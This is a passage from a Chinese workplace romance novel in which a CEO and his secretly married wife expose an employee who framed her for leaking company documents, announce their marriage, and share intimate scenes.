他欲言又止,那些话不堪入目,心里脆弱的人恐怕会承受不住。 谢屿舟掀起黑眸,“那你小瞧了她。” 心有担忧,“都说了什么?” 孟新允看老板的脸色,胆战心惊开口,“猜测太太是哪个领导的情人。” 谢屿舟来了兴趣,“猜了谁?” “陈总、章总。”老板的脸色越来越沉,孟新允擦擦额头的冷汗,“目前没人怀疑到您的头上。” “他们的想象力是不是不太够。” 谢屿舟表情严肃,冷冷说道:“谁告诉他们女性升职就一定是要靠身体,去查源头是谁,谁参与了,查到一律开除。” 孟新允:“好的老板。” 他知道老板不单单是为了老板娘,谢屿舟上任以来制定的一系列举措他看在眼里。 招聘不歧视男女、男女同工同酬、上下班弹性打卡、不做无谓没有意义的日周月报。 在工厂为弱势群体提供岗位,保障每个人的合法权益。 这些措施实行以后,员工的工作效率更高,积极性大大增加。 都怕公司倒了,再找不到这么人性化的老板。 这边,宋时微去到顶楼的会议室,就展厅选址向谢屿舟和公司高层汇报,“谢总好、顾总好、孟助好,关于展厅的选址,综合考量了几处位置,最终选在二环内,优势是双地铁口,两条主干道交汇,停车位充足,缺点是高峰期车流量大会堵车。” “展厅设计方案如下,采用现代简约风格,从全龄段出发,打造多个样板房,线上小程序已调试完毕,引导客户亲自设计,设计师参与指导,预计在11月完工交付,12月底按时营业,赶得上年底新房交付的高峰期。” 汇报结束,顾斯乔首先询问谢屿舟的意见,“谢总,您的意见呢。” 谢屿舟将问题抛给了对面的人,“你们呢?” 陈副总发表意见,“场馆面积会不会太大?租金成本太高,是一笔不小的负担。” 宋时微翻到ppt的最后! 一页,“陈副总,我们大致谈好了优惠,这个是场地租金。” 这是余子昂家的地,正愁面积太大租不出去,现在正好,他不仅不收高价,还要感恩。 陈副总:“那我没意见。” 关于展厅的议程一致通过,现场立刻动工。 顾斯乔又交代宋时微,“客户的资料保存好,绝对不能被卖出去,不管旁人,不能从我们的手里流失。” 宋时微:“我明白。” 其他领导纷纷去忙别的工作,办公室剩下三个人。 宋时微想了想决定说出来,“我们抢走了别人的蛋糕,我担心有人会黑我们,” 谢屿舟颔首,“公关部会盯着,放心。” 顾斯乔敛眸思考,向宋时微说:“微微,你先下去。” “好的,乔姐。” 宋时微和谢屿舟装不熟,礼貌告别,“谢总,我先回去上班了。” 谢屿舟客气回复:“去吧。” 这演戏的生活什么时候能结束! 办公室剩下两个人,谢屿舟直言:“说吧,什么事?” 顾斯乔直截了当,“谢总,您打算什么时候公开?最近的流言可不好听,别影响了人小姑娘。” 谢屿舟装不懂,“什么?” 顾斯乔:“我又不傻,你之前专门找我让我招微微,这大半年我天天和你俩开会,婚戒看着就是一对,懒得拆穿。” 谢屿舟有苦难言,认真说:“你问问你的好员工什么时候愿意公开,她松口了,我给你发红包。” 原来是这样,顾斯乔忍不住嘲笑他,“算了,不公开挺好的,也是一种保护,我走了。” 她停下脚步,透露道:“对了,傅景深最近来我们部门挺勤,锄头那叫一个挥得好啊。” “我知道了。” 谢屿舟都快忘了这个人,几个月没有动静,看来傅家掌权人的位置非他莫属,就差对外公布。 下午五点半,谢屿舟接到宋时微,把她的手放在掌上玩,不经意说:“人我处理完了。” “什么人?” 宋时微没有放在心上,恍然想起,“噢噢噢,造谣的人,这么快的吗?谢总速度可以啊。” 谢屿舟微拧眉头,凝视身旁的人,“一年了,没人发现你才是老板娘吗?还猜你是陈副总的人。” 宋时微忍不住蹙眉,什么乱七八糟的猜想,“可能是因为有一回开会他帮我说话了。” 谢屿舟不满:“我也为你说过话。” “有吗?什么时候?谢总你确定帮我说过话吗?”宋时微回想半天,没有回想出来究竟是哪一次。 谢屿舟:“好像没有。”公事公办居多。 宋时微:“一般人想不到我们是夫妻吧,有些人已经怀疑你是假结婚,现在已经离婚了。” 老板的私生活是上班的调味品。 差点被离婚的谢屿舟:…… 第 62 章 第62章 办公室仅剩的人等待老板的指示,他们的视线游走在谢屿舟和宋时微的脸上。 偌大的办公区噤若寒蝉,屏气凝神等待老板发话。 恐怖的安静,几乎落针可闻。 每个人脑海里在疯狂复盘,处处透露诡异,职场里一系列的操作太多,谁都不敢妄下定论。 是灯下黑?还是栽赃陷害? 哪一个现在都不好直接下判断。 所有人的注意力集中在谢屿舟和宋时微的身上,当事人仅仅对视了一秒,没有说话,只是用眼神交流。 无人看出异样。 终于,短暂的沉默过后,谢屿舟做了艰难的决定,语气公事公办,“宋时微先暂停工作,等待调查结果。” 宋时微没有辩驳 ,“好的,谢总,我会积极配合调查。” 除了自己的包,她没有带走公司的任何物品。 孟新允在一旁看呆了,老板这是在做什么? 从理性角度分析,这样做合乎常理,可那是老板娘,准备回家跪搓衣板吗? 应该不是老板娘做的吧,不合逻辑啊。 “你们先回去休息。”谢屿舟发话,“宋时微跟我来。” “好,谢总。”宋时微没有喊冤,语气平静接受了领导的安排。 她的情绪如此冷静平稳,剩下的人反而看不懂了,纷纷猜测内鬼会是她吗? 宋时微跟在谢屿舟身后向顶楼办公室走,男人似乎想到什么事,脚步微凝,转过身向留在办公区的员工说:“调查结果出来之前,不要随意传播揣测,我们不会冤枉任何一个人,当然也不会放过任何一个人。” 谢屿舟示意孟新允,他留下来和同事沟通对接。 查出来从哪台电脑泄露只是第一步,办公区谁都可以进来,锁屏密码在计算机高手面前,形同虚设。 总裁办的员工先一步下班离开,顶层办公区只有他们两个人,在深夜有点瘆人。 谢屿舟问:“检测报告什么时候出来?” 宋时微:“还有半个小时,心心在跟进。” 两个人一前一后进了总经理办公室,谢屿舟顺手关上门,将宋时微抱在怀里。 “有思路吗?” 宋时微摇摇头,“没有,我的电脑除了我,没看到有人碰过,心心也说没看见有谁碰。” 有备而来的人,不可能被人看到作案过程,是内部作案,十有八九是在下班或者周末后返回公司做的。 大门是指纹解锁,外人进不来,公司内网设置了保护,除非有密码,特殊文件传不出去、拷贝不了。 恰恰爆料到网上的资料是在领导层手里的资料,普通员工根本看不到。 拙劣的戏码,设置重重障碍,又让你有迹可循,目标很明确,嫁祸宋时微,让你有口难言。 办公室内没有开灯,借助室外的霓虹灯照明,临近深夜,连灯似乎都黯淡下去。 两个人靠在门口,紧紧相拥。 谢屿舟安抚似的拍拍她的背,“你最近有得! 罪谁吗?” 他自然不会怀疑她,但别人不会这样想,尤其是现在有了一个证据。 宋时微仔细回想,“最近可能是被你开除的那几个人,除此之外我想不到谁了,这大手笔不像普通人能做到的吧,背后可能有人指点。” 雇水平带节奏刷评论,这些手段一般人都不知道找谁去哪里买。 谢屿舟又何尝看不出来,苦于现在找不到源头。 “咚咚咚”,有人从外面叩响门板,孟新允在外汇报,“老板,晚饭我放门口了。” 谢屿舟松开宋时微,“先吃饭,吃完再说。” 宋时微:“我不饿,不想吃。” 谢屿舟和她商量,“那你陪我吃点。” 孟新允再次敲门汇报,“谢总,文件修改时间是三天前的10点,公司过了7点基本没人,摄像头提前被黑了,刚好断了一个小时的网络。” 果然,是预谋已久。 谢屿舟:“你也回去休息吧,明天再说。” 他的心情看着甚至有些轻松,许是有了应对之策。 孟新允不知老板在卖什么把戏,总之听就是了,一定有他的道理。 谢屿舟收拾好桌上的餐盒,“我们回去吧。” 宋时微皱眉,“不继续跟进吗?” “下半夜都睡着了,蹦不起水花,退一步说,即使掀起风浪,也有人值班跟进。”谢屿舟打消她的顾虑。 从公司驱车回家,谢屿舟开车,一盏盏街灯点亮了南城的夜。 宋时微看着网上发酵的言论,心揪在一处毫无困意,这是她看着成长起来的工作,倾注了全部的精力,凝固了她的心血。 现在被人诋毁,却束手无策。 距离家门口仅有一段路程,路口红灯亮起,谢屿舟踩下刹车,从宋时微手里抽出手机,“少看这些,不明真相的网友容易被带偏,有这时间,你不如亲我几下。” “谢屿舟,你正经点!”宋时微说归说,主动亲了男人的脸颊。 “话说回来,谢总,你就没怀疑过我吗?万一真是我呢。”宋时微问出了困扰一晚上的问题。 在办公室里说是她的电脑时,谢屿舟看向她的眼神没有怀疑,一丝一毫都没有。 反而透露出担忧。 谢屿舟反问她,“那别人给了你什么好处,说出来让我听听,值不值得你背叛我。” 宋时微思索半天,“好像没有。” 钱诱惑不了她,谢屿舟没和她签婚前协议,婚后银行卡上交随便刷,他们又没有矛盾,里外都行不通。 谢屿舟揉了揉她的发顶,“这不算什么,回家安心睡觉。” 宋时微侧坐着,巴巴望向驾驶座的男人,语出惊人,“睡荤的还是素的?” “素的。”然而,谢屿舟的耳朵却变红了,即使光线昏暗,红透的耳朵分外明显。 男人在开车,宋时微没有上手挑逗,云淡风轻说:“谢总,你耳朵好红啊。” “谢总,你脖子也红了。” “谢总,你真好看,脸好看眼睛好看嘴巴! 好看又好亲,你去做男模一定是头牌。” “除了技术有点烂,先天条件够硬啊。” 她还在喋喋不休,愈发肆无忌惮,看来自我调节的功力不错。 谢屿舟喉咙有些发痒,男人拧了下领带,她逗人的功力不减反增,踩下油门转入地下车库。 他拉着她的手直奔顶楼的家,大门一关,将人按在墙边,双手撑在两侧,“怎么不继续说了?” 宋时微:“我要去洗澡睡觉了。”她踮起脚亲了下他的薄唇,“你不困吗?快去睡觉,明天还要早起。” “啊?” 谢屿舟一把扛起宋时微,宽大的手掌打了下她的臀部。 “你说睡素的?” 男人道:“是吗?那我现在反悔了,很想睡荤的。” 宋时微的手臂扒住他的身体,“谢总还是一如既往得经不住挑拨啊。” 她被放进浴室,谢屿舟的目光里充斥满满的欲望,命令道:“自己脱掉衣服。” 宋时微抱紧双臂,用实际行动抗议,“我拒绝。” 谢屿舟上手解开她的衬衫,和以往一样,留几颗扣子,若隐若现,“这样刚好。” 男人嗓音低沉,“趴在台子上,趴好。” 台面放置了毛巾,看着十分贴心。 谢屿舟掰过她的脸,吻在唇角,汲取她口中的氧气,手掌扣住她的手,让她找不到落点和支撑,丧失主动权,所有的重心和依赖全放在他的身上。 镜面氤氲了水雾,透过模糊的画面,宋时微只能看到他们在接吻,湿吻潮热。 不止一处的潮热。 他们辗转走到洗澡间,宋时微从半趴着变成站着,背后是冰冷的瓷砖。 谢屿舟贴在她的唇边,“时时,看天花板。” 宋时微被眼前的景象吓了一跳,骤然一缩,“你什么时候在顶上装的镜子?” 谢屿舟头皮发紧,“你忙工作的时候,喜欢吗?好看吗?” 这是好不好看的问题吗?这是有点变态的喜好。 可是却不止,四周是可变的镜子,看着是花砖,按下开 关变成镜子。 上下左右无一逃过,每一寸细节看得清清楚楚。 尤其是地面的高清镜子,简直是现场直播。 宋时微胆子再大,也不敢直视让人面红耳赤的画面,和他比,她那点挑逗的小伎俩根本上不了台面。 谢屿舟低笑道:“独家定制。” 他竟然在看,宋时微捂住他的眼睛,“你是不是变态?” 谢屿舟理直气壮,“你开发的。”认识她之前,连春/梦都不曾做过,认识她以后,经常洗内裤。 宋时微争辩,“你不要赖给我,我当初只是和你开房,可没有这些乱七八糟的xp。” 谢屿舟:“某些人说和我不熟。” 宋时微:……这又是哪年哪月的账,今晚想起来算了。 男人追问:“现在熟了吗?里外够熟了吗?” 宋时微偏要和他作对,“不熟,一点都不熟。” ! 谢屿舟:“那我还要努力。” 防止她胡思乱想,用做/爱转移注意力,榨干她的精力。 果然,宋时微沾枕头就睡着。 谢屿舟和公关部讨论下一步的应对方案,买水军带节奏谁不会,他也会。 从这天起,宋时微表面上停薪留职,被带走调查,实际她专注监督展厅的装修情况。 换到家里和工地办公罢了,工人不明白这些弯弯绕绕,按时结钱就可以。 其实,用宋时微背锅是最快速的解决方法,本来就是后期人为修改的,发出修改的痕迹记录,再起诉几个蹦的欢的颠倒黑白的人,不出一周就会被新的新闻取代。 无论是不是老板娘,换做别人,都不应该被冤枉。 公关部的工作见到了成效,放出了检测报告,还有已经装修完毕的业主家的甲醛和辐射情况。 针对恶意造谣的账号,有一个告一个,不是简单发律师函,而是实打实的起诉。 一系列积极迅速的反应,不仅控制住了舆情甚至有反转。 只是,内鬼还是没有头绪,完全没有,很是反常。 宋时微不在公司,又是从她电脑里搜出来的,明面上说调查,小道消息不胫而走。 有说她收了对家的钱,有说她是背锅的。 有一些同事觉得就是她做的,给她定了罪。 当事人对此并不知晓,她换了个监理身份正在工地和工人掰扯返工的事,“师傅,这个倒角需要再处理一下,容易磕到。” 她的语气不是请求但也不咄咄逼人,正常沟通又表明了态度,容易让人接受。 宋时微签收另个样板房的瓷砖,一眼就看出问题,样式接近,却不是他们提前定的那款。 “师傅,花色送错了。” 师傅比对了单子,“就差一点点凑合用呗。” “你们现在回去运来得及,领导怪罪下来要扣我工资的。”宋时微拿了两瓶饮料递给运瓷砖的师傅,伸手不打笑脸人。 她一个小姑娘,别人也不会为难她。 网上的风波渐歇,却没有还宋时微的清白,在不少人心里给她定了罪的。 吃晚饭时,宋时微和谢屿舟说:“谢总,我有个想法,我们再演一出戏,来一招引蛇出洞。” 谢屿舟:“什么戏?” 宋时微:“我当没事人回到公司,放出个钩子和饵,他们没达到目的肯定还会再来。” 偃旗息鼓不是他们的目的,没有达到想的结果誓不罢休才对。 最近没有离职的人,人肯定还在公司,说不定在酝酿下次的事情。 第 63 章 宋时微急忙问:“是谁?” 她太想知道谁这么恨她,不计手段不计后果一次又一次想要毁了她。 谢屿舟微皱眉峰,“曹宏硕。” 宋时微凑到他的手机前面,看清了具体的名字,她愣在原地,眉头皱得更深,“这是谁?我不认识啊。” 不要说宋时微,就是谢屿舟刚听到这个名字时都反应了半天,他也没听过,还是孟新允发的资料才知道。 “技术部的一个人,和你没有交集。” “那为什么?”因爱生恨她没这么自恋,工作中根本没有交集,负责饮料时她不接触技术部,智能家居部单独配备了技术人员。 谢屿舟抱了抱她,“已经报警了,等警察讯问,孟新允在跟进。” 宋时微只觉得荒谬,极其荒谬,世界果然是一个巨大的草台班子。 顿了片刻,谢屿舟开口,“不过,可能和周天睿有关,曹宏硕最开始是销售岗,他的性格不适合做销售,考核垫底,然后周天睿发现他计算机能力强,给他特殊申请转岗到技术部,保住了工作还加薪了,借给他钱买房买车。” 这样解释就行得通,宋时微一语中的,“周天睿这是想利用他的价值,给自己笼络一个计算机高手,好方便自己做某些事吧。” 她又问:“周天睿有没有参与?有没有指使?” 桌上的菜快凉了,猫咪趴在腿上,即使听不懂,仍竖起了耳朵,能不能听到它的名字。 “先吃饭。”谢屿舟将剥好的蟹放在宋时微的面前,“不确定,最近一审判决下来了,也可能是这个原因。” 聊天的空隙,他竟然剥好了几只螃蟹。 找到了人算是解决了大麻烦,不用再提心吊胆。 漫长的等待,两个人躺在床上守着手机,在深夜孟新允打来电话,汇报了最新的情况。 谢屿舟告诉宋时微,“他承认了车祸文件这些都是他做的,问动机就说看你不顺眼,一直跟踪你,雇人撞你吓唬你,咬死没人指使。” 宋时微听完五味杂陈,“这人有点轴、一根筋。” 侧面说明了人性的复杂,周天睿虽是利用,在曹宏硕看来他对他的确是好,甘愿为他做这些事情。 谢屿舟说了一个插曲,“能抓到人还是要感谢你们部门的曾嘉佑,他有次撞见曹宏硕鬼鬼祟祟打电话,黑进了他的手机。” 宋时微瞪大眼睛,“这孩子还得和他说说,千万不能走入歧途。” 技术能力要受到法律和道德的约束,不能随意使用。 宋时微给曾嘉佑发完信息,扭头看到谢屿舟带点哀怨克制的眼神,“人家喊我一声‘姐’,我不得要尽点责任,谢总不要什么醋都要吃。” 她补刀,“还有孟助挺辛苦啊,大晚上的不能休息,谢总没人性。” 谢屿舟直言,“他拿七位数年薪,还有分红。” 七位数,宋时微想一下是多少钱,算清楚之后,“那我还是心疼自己吧,白天看你脸色,晚上还要看你脸色。” 谢屿舟微拧眉头,“我给你脸色看了?”揽住她不! 让她乱跑,让她说清楚。 宋时微猛猛点头控诉,“给了,现在正在进行中。” 谢屿舟弯了下嘴角的弧度,宋时微的手臂立刻起鸡皮疙瘩,“算了,你还是别笑了,感觉下一步要灭口分尸。” 他怎么做都是错。 宋时微嘱咐他,“法治社会,你不要找人去教训他啊,做一个遵纪守法的好公民。” 谢屿舟:“谨遵老婆大人的教诲。” 后面的事交给律师和法律,宋时微想了一晚上,没想明白怎么会这样,“我这是不是无妄之灾啊,哪天我要去庙里拜一拜。” 谢屿舟:“我和你一起去。” 宋时微揶揄道:“谢总不是唯物主义吗?还信这个。” “信。”谢屿舟亲下她的额头,“你要是不困就做点别的事。” 宋时微闭上眼睛,假装睡觉,“困。” 翌日,办公室里都在谈论,揪出的幕后之人出乎所有人的意料。 就是如此荒谬,犯罪的人的心理不能用常理看待。 他们看向宋时微的眼神里多少带了点同情和可怜。 眼下有件事尚未公布,谢屿舟和宋时微到底是什么关系,多数人猜想她肯定是老板娘。 通过照片来看,太像老夫老妻的状态。 上午十时,一则邮件准时发送到寰宇每个人的邮箱,同步还有一段视频。 视频中,谢屿舟坐在办公桌前,身着挺括的白衬衫,语气郑重,“最近公司的事情大家都听说了,公司前副总周天睿涉嫌侵占公司财产被提起诉讼,曹宏硕泄露公司机密、教唆指使他人,自有法律判定。 我司不会纵容任何一个违反法律的人,也不会冤枉任何人。 最后,关于我和宋时微的关系,宋时微是我太太,亦是我等了七年的人。” 男人说到最后一段时,眉眼间浮起温情,是他们从未见过的神情。 七年!如同一枚重磅炸弹,让本就沸腾的办公室愈发嘈杂。 谁都没想到老板娘坐在身边。 从她电脑发送出去文件实锤了栽赃嫁祸,没人会给自己公司添堵。 那损失的是实打实的钱。 乔言心激动说:“我就说谢总暗恋你吧。” 她免不了八卦的心,“谢总签婚前协议吗?他的工资不会就1块钱吧,网上说有钱人都是这样的。” 宋时微抿起嘴唇,“没签,他的工资多少我不能告诉你,但不是一块钱。” 这是有名有实有钱有权的老板娘,乔言心挽住宋时微的胳膊,“富婆姐姐,贴贴求包养。” 宋时微笑着说:“好,我偷我老公钱养你。” 乔言心感叹,“你们隐藏得也太好了,我猜肯定不是谢总不想公开。” 看到宋时微的眼神,她知道猜对了,“谢总这顺风顺水的人生,就该吃点爱情的苦,没钱的苦他是吃不了了,我也想过有钱人的日子,去吃吃爱情的苦。” 宋时微忍不住捏她的脸,“你好可爱。” 乔言心担心问道:“你是不是要去楼上! 办公了?是不是要离我远去了?” 宋时微:“应该不用,顾总早就猜出来我和谢总结婚的事,她公事公办。” 乔言心:“那就好,我以后就做你的小米虫,抱一辈子大腿。” “好呀好呀。”她是宋时微回到南城交到的第一个朋友。 顶楼办公室中,孟新允问:“谢总,太太的工作和职位需要变动吗?” 公开和隐婚不一样。 谢屿舟敛眸,“不用,顾斯乔早就知道。” 男人道:“你最近不用来公司了。” 孟新允大惊失色,“谢总我没犯错什么 事吧,您为什么要辞退我?” 谢屿舟睇向他,“是放假。” 孟新允:“谢谢老板。” 谢屿舟摆了摆手,“快走。” 孟新允表演一秒消失术,谁和休假有仇啊。 他收拾东西回家,心里盘算需要感谢老板娘,自从结了婚,老板的人性大大提升,他跟在老板身边这么多年,哪里享受过这种待遇。 临近下班,总经理的专用电梯停在48层,电梯门缓缓开启,谢屿舟踏出轿厢。 原本躁动的办公区变得安静,停下下班的脚步,“谢总好。” 谢屿舟平淡道:“你们走你们的。” 男人直奔宋时微的工位,并不在意其他人在做什么,员工悄悄下班,时不时回头打量拍照。 谢屿舟微微俯身,轻轻叩响桌子,“下班了。” 宋时微抬眼惊讶一瞬,又看向电脑,“你先下去,我对一个数据。” 男人不客气,从旁边拉了一把椅子坐下,他等这天等了一年多。 下班经过这个地方同事准备和谢屿舟打招呼,刚说了第一个字,男人比划了‘嘘’的手势,剩下的人轻手轻脚离开。 宋时微不关心谢屿舟在干嘛,半晌过后,她和乔言心说:“找到了,错的在这里。” 乔言心伸了下懒腰,“终于找到了,和工程的人说,下班。” 公开第一天,谢屿舟故意来到楼下接宋时微下班,主动牵手拎包,借机来撒狗粮。 男人站在专用电梯里问:“你们要上吗?” 外面等电梯的同事,“不用了,谢总,我们等下一班就好。” 乔言心被宋时微拉进电梯,“谢总好,我就不客气了。” 专属电梯宽敞明亮不拥挤且直达一楼,乔言心做好领导的爱情跟班,顺便还能吃狗粮。 谢屿舟随意聊天,“今天君姨家里有事,你晚上想吃什么?” 宋时微没扯出自己的手,“我都行。” 谢屿舟又问:“家常菜还是火锅?” 宋时微:“都行。” “鸳鸯锅还是海鲜锅?” “不挑。” 宋时微斜乜他一眼,还有心心在,他能不能收敛点,谢屿舟接收到眼神,立刻闭嘴。 电梯到达一楼,乔言心挥手告别,“谢总、微微,我到了,再见。” 转头给宋时微发微信,【妈耶,谢总这! 家庭地位堪忧啊,微微,我在想,他在工作上和你产生分歧,回家是不是要跪搓衣板?】 宋时微:【我们家没有搓衣板。】 乔言心:【跪键盘跪榴莲什么都行。】 宋时微:【下次跪的时候拍照给你看哈,满足你的八卦之心。】 行至负二层,谢屿舟揽住宋时微的腰,低声说:“谢太太,先看路,回家你说跪什么就跪什么。” 当晚,宋时微看着在她上面挥汗如雨的男人,在心里哀嚎,不是这样的跪啊。 “宝贝,该你了。” 谢屿舟抱着她翻了一个面,变成她跪着。 谁都要跪,主打夫妻的公平。 —— 周五,谢屿舟有个推不掉的应酬,在现场的人都巨能喝,备孕的借口不能天天用,关键是,用了一年,孩子没出生,快传出他不行的谣言。 在孟新允的掩护下,他小酌了几口找借口离开。 客厅照例亮起一盏昏黄的灯,宋时微在和人讲电话,旁边放着一个行李箱。 “我买票和你一起走。” “谢屿舟不管他,他忙得很,忙着签合同顾不上我。” 宋时微听到脚步声,回过头看到谢屿舟,惊了几秒,“你回来了啊?” 同时欲盖弥彰地推一下箱子,放在身后。 谢屿舟晚上推不掉,喝了几杯酒,他的大脑慢了半拍,无暇思考,过滤不到有用信息。 他下了定论,宋时微又要走? 男人扯掉领带,扔到桌子上,解开袖口的袖扣,扔到沙发缝隙,卷起袖口,露出精瘦的小臂。 一步一步走到走到宋时微面前,颀长的身影将她笼罩,深邃眼眸紧紧锁住她。 谢屿舟居高临下问:“你又要去哪?” “又要不告而别吗?” “如果不是我撞见是不是又不见人了?” 宋时微的腿碰到沙发,她跌了进去,否认道:“不是。” 谢屿舟的手压在沙发的靠背上,弯腰堵住她的嘴巴,“我都听见了。” 他咬她的唇,舌尖探入,将她压在身下,解开她的纽扣,大手钻进去。 宋时微急忙解释,“谢屿舟,你听我说,我不会走,是我妈要去旅游,我不放心,要跟去。” 谢屿舟趴在她的颈窝处,冷声控诉,“你就是骗子,宋时微,你还说和我考同一座城市,转头就不见了,什么都注销掉,连一句话都不给我留。” 不知道是酒精上头瞎说,还是酒后吐真言。 宋时微温柔地抚摸他的后脑勺,“谢屿舟,你是不是很喜欢我啊?” 身上的人不说话了。 半晌,男人说: “是。”